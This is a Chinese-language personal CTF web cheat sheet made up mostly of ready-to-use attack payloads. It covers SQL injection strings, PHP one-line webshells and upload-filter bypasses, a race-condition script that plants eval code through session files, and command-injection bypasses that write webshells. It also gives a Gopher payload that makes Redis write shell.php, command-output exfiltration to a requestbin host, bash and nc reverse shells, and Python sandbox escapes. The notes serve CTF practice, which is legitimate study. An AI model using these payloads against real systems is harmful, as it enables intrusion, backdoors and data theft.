CTF web个人总结
仅供个人参考
- 从0开始接触到了CTF,算是入门了,为了方便自己做题,现在记录一下web类型题目的解题思路。
目录
工具(含后渗透)
- 蚁剑antSword
- burpsuite
- 谷歌浏览器或火狐浏览器
- postman(总感觉还是这个用着爽)
- sqlmap
- nmap
- proxychains
- dirb
- dirscan
- phpgcc 基于框架的链式调用REC
- metaspolit (5和6有所区别,安装时注意区分)
- githack .git文件泄露利用工具
- svnExploit .svn泄露利用工具
- ds_store_exp .DS_Store泄露利用工具
- fsan 一款内网综合扫描工具,方便一键自动化、全方位漏扫扫描
- nps 网穿透代理服务器
- frp 网穿透代理服务器
- shiro_attack shiro反序列化漏洞综合利用工具
- wooyun公开漏洞爬虫版
- CTFcrackTools CTF的工具框架
- Arjun 爆破页面的参数
- flask-session伪造
- OneForAll 子域收集工具
- xray poc扫描工具,可配合bp使用
- Ciphey 基于人工智能的crypto解密神器
- Redis 4.x/5.x RCE redis利用工具
- cf 一键日云
…想到再补充
解题思路
一、普通思路
- 拿到题目首先查看源代码,在源代码中特别注意js或者css文件中是否透露着某些信息
- 查看meta标签,如type为author的,这个标签表示作者,后面很有可能会用到这些信息
- 查看根目录下是否有robots.txt,建议任何网站,开始做题的时候都先扔到dirb中进行路径爆破
- 注意审题,题目中往往会透露一些关键信息,例如:网站备份,诸如此类,那么建议根据路径搜索相关的www.zip或xxx.bak等备份文件
- 用户认证伪造,注意查看网络数据包,可以通过修改cookie,或者爆破jwt的方式伪造认证
- ip伪造,通常用于页面需要本地或指定ip访问的题目,利用
X-Forwarded-For
、X-Client-IP
、X-Real-IP
、CDN-Src-IP
head头,来伪造访问客户端的ip,前提是服务端利用这两个参数进行用户验证 - git泄露,网站下存在.git且可以访问,用
GitHack
工具,还原代码,查看漏洞 - vim交换文件泄露
.xxx.swp
二、注入思路
- 时刻注意项目中是否有可提交的输入框,后者页面参数为
id=1
,诸如此类,建议尝试sql注入,sql注入有很多分类,简单的可以使用sqlmap做基础探测,如果一直半会儿试不出来可以先寻找其他突破口。 - sql注入先使用错误的参数进行页面报错判断,因为有时候也有可能是作为文件包含的参数。
- 使用
'
或者"
进行sql探测,使用--+
或#
(注意转换成%23
,因为#在url中代表hash),如果有报错是最好的。 - 使用一些固定的payload进行尝试,例如:
and 1=2
,and 1='1
或者其他复杂的payload - 报错函数进行注入(以下列举的函数供函数名过滤时尝试使用),如:
- extractvalue
?id=1" and extractvalue('~', concat(',', (select f4ag from f1ag limit 2,1)))%23
select * from test where id=1 and (select 1 from( select count(*),concat(user(), floor(rand(0)*2))x from information_schema.tables group by x)a);
- geometrycollection|multipoint
|polygon|multipolygon|linestring|multilinestring
# 以上函数用法完全一致,仅以geometrycollection举例
select * from test where id=1 and geometrycollection((select * from(select * from (select user())a)b));
- exp
select * from test where id=1 and exp(~(select * from (select version())a));
- 利用时间函数进行判断, 如:
select 1,IF(1=1, sleep(3), 'goodbye'),3
确认可以时间盲注的话,就可以编写脚本进行爆破
-
很多时候再服务端往往会进行字符串过滤,这时候你要根据一定的信息去猜测服务端可能存在的过滤方法,然后筛选出可能可以使用的注入方法,可能存在的情况有:字符串空替换,小写关键字判断,那么关键字就可以写成这样:
selselectect
,sElEct
-
超长字符截断,例如: 题目需要你以admin账号登录,但是系统中已经存在admin账号,此时,你注册一个类似
admin空格*n 1
的账号,利用mysql的截断,成功注册用户名为admin 的账号 -
使用16进制注入,MySQL中会将16进制自动解析成字符串,同时,16进制也可以用于绕过is_numeric。
-
宽字节注入,一般遇到addslashes函数来过滤
'
和"
时,可能会出现宽字节注入,使用%df
来与转义引号的\
进行合并,从而达到闭合输入的目的。 -
group by rollup
语法,试关键字段出现一个null的结果,配合limit获取null值,最后通过与null比较,绕过逻辑判断。 -
堆叠注入
- 替身之术(影响生产)
# 将flag列改名为data
rename table words to word1;
rename table `1919810931114514` to words;
alter table words add id int unsigned not Null auto_increment primary key;
alter table words change flag data varchar(100);#
- handler 用于逐行读取数据
handler `table_name` open;
handler `table_name` read first;
handler `table_name` read next;
- 预编译注入可以绕过waf
use sqli;
set @sql=concat('se','lect `字段` from `表名`');
PREPARE prepare_sql FROM @sql;
EXECUTE prepare_sql;
- 屏蔽字段绕过
-- 此处查询表共4个字段,其中第2个字段为回显字段
-1 union select * from (select 1)a
join (
-- flag 的第2个字段是flag信息
select F.2 from
(
-- 使用2个join,组成一个2字段的临时表
select * from (select 1)u join (select 2)i
-- 使用union将flag的字段名映射成1,2
union
-- 此处 flag表共2个字段
select * from flag
)F
)b
join (select 3)c join (select 4)d
-- 使用分页筛选展示flag值的那行数据
limit 3,1
三、文件上传
- 前端验证类,修改js代码,或禁用js或直接调用上传接口即可。
- mime限制,修改
content-type
为其他类型即可。 - 文件内容检测,修改文件头尾图片头,如:上传文件内容
GIF89a
<?php eval($_POST['a']);?>
- 后缀检测,可使用bp拦截请求,使用16进制00阶段后缀,如:shell.php
0x00
.gif,注意,此处的0x00
不为字符串,需要在16进制报文中修改。
- 文件名绕过
# PHP
php5、php6、php后门加空格、pHp(大小写混合)、phtml、tpl、php.、php:$DATA等
# ASP
aspx、cer、cdx、asa、aSp(大小写混合)、asp_
# JSP
jspx、jspf、jSp(大小写混合)
- 可以上传.htaccess文件修改apache解析规则。
- IIS解析漏洞
- 目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。 - 文件解析
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
- apache解析漏洞
- Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如:test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。 漏洞形式:
www.xxxx.xxx.com/test.php.php123
- 其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是jpg,一样能以php 方式执行。
- nginx解析漏洞
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置
SCRIPT_FILENAME
。
当访问www.xx.com/phpinfo.jpg/1.php
这个URL时$fastcgi_script_name
会被设置为phpinfo.jpg/1.php
然后构造成SCRIPT_FILENAME
传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo
这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg
,而1.php是PATH_INFO,所以就会将phpinfo.jpg
作为PHP文件来解析了
- www.xxxx.com/UploadFiles/image/1.jpg/1.php
- www.xxxx.com/UploadFiles/image/1.jpg%00.php
- www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
- 另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
四、文件包含漏洞
- 文件包含漏洞有时候是跟文件上传漏洞同时存在的,在上传的时候注意伪装文件信息,上传小马,然后使用文件包含漏洞执行webshell,可以使用菜刀工具。
- 文件包含漏洞往往可以让你获取页面的源代码,但是php文件会被服务器解析,所以你看不到,这里就要用到php的伪协议,例如:
php://filter/read=convert.base64-encode/resource=xxxx.php
,使用伪协议来讲源码转换成base64后输出,然后用base64解码成源码。 - 当然,在文件包含漏洞中往往也为设置字符串过滤,但是还是有可以利用的函数漏洞,例如:使用
%2570
来替换p
,当代码中判断你的字符串是否包含php时,可以使用这个方法,但是注意,在浏览器中似乎不管用,你可以再bash环境中使用curl测试。 - 如果你上传的文件可以直接覆盖.htaccess文件,那么你可以在.htaccess中声明,以php文件去解析某一些匹配的图片。
AddType application/x-httpd-php .jpg
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
include
函数,以字符’/‘分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个’/’
例如
include $_REQUEST['file'];
#payload
?file=hint.php?../../../../../../../../ffffllllaaaagggg
- session上传,实现任意文件包含getshell
前提:开启PHP_SESSION_UPLOAD_PROGRESS,且知晓session文件存放位置
<?php
$b=$_GET['file'];
include "$b";
?>
绕过
#coding=utf-8
import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
if 'tgao.txt' in resp.text:
print(resp.text)
event.clear()
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in xrange(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in xrange(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
效果
其中 laptop-bhbjtmj6\xue
就为 system('whoami');
的结果,参考
7. php任意文件包含include,并且存在phpinfo界面
不废话,直接上脚本即可,脚本中部分地址需要修改
五、显示源码类型
- 这个就比较考验你的逻辑思维了,一般吧当前文件的源码放出来给你,让你找漏洞,其中也包括文件包含的漏洞。
- 可利用的php函数的一些特性,比如在做字符串比较的时候,如:
0==$_GET['a']
, 首先带那种过滤了$_GET
,让你无法提交数字,但是根据php的一些特性,你提交字符串时,在判断时会被强转成数字。 - md5利用,一般会判断两个不同输入值的md5值是否相等,这时要利用php的特性,
0e
开头表示科学计数法,让两个MD5值为0e
开头的字符串进行md5比较,我也收藏了相关的博客如下:
https://blog.csdn.net/qq449736038/article/details/80843914 - 反序列化漏洞,通过修改序列化字符串绕过反串行化的漏洞
例如序列化后为:O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
可修改为:O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
其中+
为了绕过正则/[oc]:\d+:/i
:1:
改为:2:
是为了绕过__wakeup
六、绕过类
- 使用
http://xxxxxx:8888///xxxx/xxx/xxx
绕过parse_url()
、parse_str()
- apache服务器下可以利用
.htaccess
,详情请点击
// 利用php去识别xxx文件
<FilesMatch "xxx">
SetHandler application/x-httpd-php
</FilesMatch>
---
// 识别.txt为php5执行文件
AddHandler php5-script .txt
// 识别.txt为php7执行文件
AddHandler php7-script .txt
// 包含文件
to_append_file /flag
// 绕过grep_match等正则函数,prce回溯绕过正则匹配
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
// 一些绕过的骚操作,屏蔽: php、<?
ph\
p_value auto_append_file "p\
hp://filter/read=convert.base64-decode/resource=a.png"
// 传的a.png内容为:PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
- nginx下利用.user.ini
auto_prepend_file=a.jpg //指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。它包含在所有php文件前先执行
auto_append_file=a.jpg //解析后进行包含,它包含在所有php文件执行后执行
- 修改php.ini
auto_prepend_file = "/home/fdipzone/header.php"
auto_append_file = "/home/fdipzone/header.php"
- 使用
<script language="php">eval($_POST[1])</script>
来绕过<?
限制 - 各种查看文件的命令
cat
more
less
tac
nl
grep
- 危险Linux命令
find ./ -name "a" -exec cat {} \;
- 命令拼接绕过
;
%0a # 换行符
| # 管道符
||
%26 # &
- 过滤字符串,如题
<?php
//flag in /flag.php
highlight_file(__FILE__);
error_reporting(E_ALL);
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\%|\x09|\x26|\>|\</i", $cmd)){
system($cmd);
}
else{
die("hacker");
}
}
绕过
flag.php
fla\g.php
fla''g.php
fla""g.php
fla?.php
fla*.php
ca''t flag.php
ca""t flag.php
ca\t flag.php
a=fla;b=g.php;cat $a$b;
# 利用printf
$(printf "\154\163") ==>ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
/???/??? /????.??? ===> /bin/cat flag.php
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|bash ==>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
{printf,"\74\77\160\150160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
- 文件上传执行命令,php能接受文件上传,即使没有提供上传接口,上传的文件默认会保存在
/tmp/phpxxxxxx => x代表随机的英文大小写字母
可利用通配符形式进行命令执行
#coding:utf-8
#author yu22x
import requests
while True:
print(1)
url="http://101.34.94.44:7001/rce8/index.php?cmd=. /???/????????[@-[]"
#url="http://182.92.91.240:7001/eval6/index.php?c=?><?=`. /???/????????[@-[]`;"
files={'file':'cat /f*'}
response=requests.post(url,files=files)
html = response.text
if 'flag{' in html:
print(html)
break
- 空格绕过
${IFS}
$IFS
$IFS$9
%09 ===> tab
< # 重定向
- 无回显情况
<?php
exec($_GET['c']);
方案
# 利用反引号执行命令,作为参数带入url
# request带出(出网环境下使用)
http://http.requestbin.buuoj.cn/xxxx?a=`whoami`
# nc (本地环境下使用)
nc -lvp 4444
curl http://192.168.0.x:4444?a=`whoami`
# 文件重定向,然后访问aaa.txt文件查看结果
ls -la />aaa.txt
# bash反弹shell
bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 (linux)
# nc反弹shell
nc 127.0.0.1 8888 -e /bin/sh (linux)
nc 127.0.0.1 8888 -e c:\windows\system32\cmd.exe (windows)
七、伪协议
- 常用伪协议
php://filter/
,用法
php://filter/[read|write]=????/resource=???
-
常用转换类型
convert.base64-decode
、convert.quoted-printable-encode
、convert.iconv.<input-encoding>.<output-encoding>
、string.strip_tags
、string.toupper
、string.tolower
、string.rot13
等等 -
file://
协议支持以file://localhost/etc/hosts
的方式访问服务器文件,来绕过file:///
的过滤 -
php://input
获取post中的数据,注意:enctype=“multipart/form-data” 的时候 php://input 是无效的 -
data://
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输。
如:http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
当:
allow_url_include=Off
时,data:,xx/profile
会被include
识别为data:,xx/profile
而file_get_contents
会将其识别为xx/profile
,参考题目Phuck2
zip://
、compress.zlib://
,压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 zlib.* 压缩过滤器自 PHP 版本 5.1.0起可用,在激活 zlib的前提下。也可以通过安装来自 » PECL的 » zlib_filter包作为一个后门在 5.0.x版中使用。此过滤器在 PHP 4 中 不可用。phar://
上传phar包,使用phar伪协议
class A {
public $a;
public function __destruct()
{
system($this->a);
}
}
// ================
$a=new A();
$a->a = 'ls /';
$phar = new Phar("aaa.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "b"); //添加要压缩的文件
$phar->stopBuffering();
// ==================
# 利用
include "phar://aaa.phar/test.txt";
- gopher协议
如果环境冲存在可利用的协议如:gopher、dict、http、https、file等,file协议可以用于查看文件dict协议可以用于刺探端口,gopher协议支持GET&POST请求,常用于攻击内网ftp、redis、telnet、smtp等服务,还可以利用gopher协议访问redis反弹shell。
gopherus.py --exploit redis
注意生成的payload
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0Aeval%28%24_POST%5B1%5D%29%3B%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
需要再url编码一次
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
存在gopher漏洞时,使用gopher指定端口,若端口存在,则会有一定延迟,若端口不存在,则不会有延时。
端口列表:
mysql ===> 3306
postgresql ===>
fastcgi ===> 9000
redis ===> 6379
smtp
zabbix
pymemcache
rbmemcache
phpmemcache
dmpmemcache
- 存在gopher协议,且页面需要post请求
案例
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
flag.php
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
flag.php接收post参数,然无法直接传入post参数,需在index.php中利用gopher协议
把访问
http://xxxxxx/index.php?url=http://120.0.0.1/flag.php获取key
用post把key传给flag.php并用bp抓包,并url编码
在hackbar中再次url编码后发送请求,如下
http://challenge-ac6bda65846a9a3b.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_《url编码》
- 目录拼接绕过
<?php
class Factory{
static private $_obj=null;
static public function setModel() {
$_a = self::getA();
if (file_get_contents(ROOT_PATH.'/model/'.$_a.'Model.class.php'))
eval('self::$_obj = new '.ucfirst($_a).'Model();');
return self::$_obj;
}
static public function getA(){
if(isset($_GET['a']) && !empty($_GET['a'])){
return $_GET['a'];
}
return 'login';
}
}
绕过
?a=Factory();phpinfo();//../
解析:在参数拼接后,得到file_get_contents中的内容为
/model/Factory();phpinfo();//../Model.class.php
使用 … 绕过文件目录访问
使用 // 进行代码注释,绕过eval中的内容
self::$_obj = new Factory();phpinfo();//../Model();
- IP绕过,一下均等同于
127.0.0.1
127.0.0.1
0.0.0.0
localhost
127.0.1
127.0.0.1
# 进制转换十进制 or 十六进制 http://www.ab126.com/system/2859.html
http://0x7F000001
http://2130706433
# 在linux中代表127.0.0.1,在windows中代表0.0.0.0
http://0
- 图片二次渲染绕过,在php代码中,如果使用以下函数对图片进行二次渲染
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromgif
则需要通过特殊图片进行绕过
gif文件只要上传后,对比没有变动的位置,把此位置换成一句话即可
jpeg和png需要特殊的图片,可使用这些图片。
八、反弹shell
在近期的夺旗赛中,有一道题目,通过层层挖掘,找到了一个一句话木马的页面,但是系统禁用了很多执行函数,但是开放了一个叫PCNTL 函数,可以利用这个函数进行脚本执行,利用执行到的反弹shell进行服务器shell执行
九、xss和csrf
会有专门的机器人来跑脚本去出发你的payload,不过没遇到过
十、混合型
此类题目会结合以上的类型进行难度较大的flag挖掘
WEB其他语言
Python
- 反序列化
import marshal
import base64
def foo():
pass # Your code here
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
- 沙盒逃逸
python命令执行
os.system('whoami')
os.popen('whoami').read()
commands.getoutput('whoami')
commands.getstatusoutput('whoami')
subprocess.run('whoami')
subprocess.call ('whoami')
subprocess.check_call ('whoami')
subprocess.check_output ('whoami')
subprocess.getoutput ('whoami')
subprocess.getstatusoutput ('whoami')
# 将内容作为python表达式执行 返回结果
eval(expression)
# 动态执行python代码
exec(source)
# 执行一个文件内容
execfile(filename)
绕过命令行禁用
如果直接禁用import os,可以使用
• import os
过滤严格,使用
• __import__('os')
• importlib.import_module('os')
• execfile('/usr/lib/python2.7/os.py')
Python3删了execfile,使用
• With open('/usr/lib/python3.6/os.py','r') as f:
• exec(f.read())
字符串处理绕过
直接过滤字符串os,使用各种变换绕过
• __import__(‘so’[::-1])
• eval(‘)”so”(__tropmi__’[::-1])
• "bf".decode('rot-13')
sys.modules模块恢复
sys.modules是一个字典,存储了加载过的模块信息,如果将os从
sys.modules中剔除,os就彻底没法用了
• sys.modules['os'] = ''
恢复方法
利用其性质恢复,当import一个模块时,会检查sys.modules是否存在,
存在则不加载,否则为其创建module对象,并加载A,所以我们删掉让
python重新加载一次os
• del sys.modules['os']
花式函数执行
getattr(os, 'metsys'[::-1])('whoami')
继承链逃逸沙盒
• 新式类有个属性__mro__,记录继承关系
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
•
__base__
/__bases__
得到父类
• 假设有个库引入了os,那我们可以通过__globals__拿到os,例如site中就有os
import site
site.os.system(‘ls’)
我们可以通过脚本,找到包含
os
/commands
/subprocess
等库
__subclasses__
返回所有子类
num = 0
# 其中''.__class__.__mro__[-1] => <class 'object'>
for item in ''.__class__.__mro__[-1].__subclasses__():
try:
if 'os' in item.__init__.__globals__:
print(num, item)
num += 1
except:
num += 1
> python .\find_os_modules.py
(68, <class 'site._Printer'>)
(73, <class 'site.Quitter'>)
然后通过__init__.__globals__
获取该库中所有的引用库,从而获取os
然后就可以利用链,下标72是site._Printer
,下标29是builtin_function_or_method
# python2.x
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['os'].popen('ls .').read()
# 或 找到调用__init__没有出现<slot wrapper '__init__' of 'object' objects>的库
''.__class__.__mro__[-1].__subclasses__()[72].__init__.__globals__['__builtins__']['eval']('1+1')
# 或 利用builtin_function_or_method的__call__
''.__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'1+1')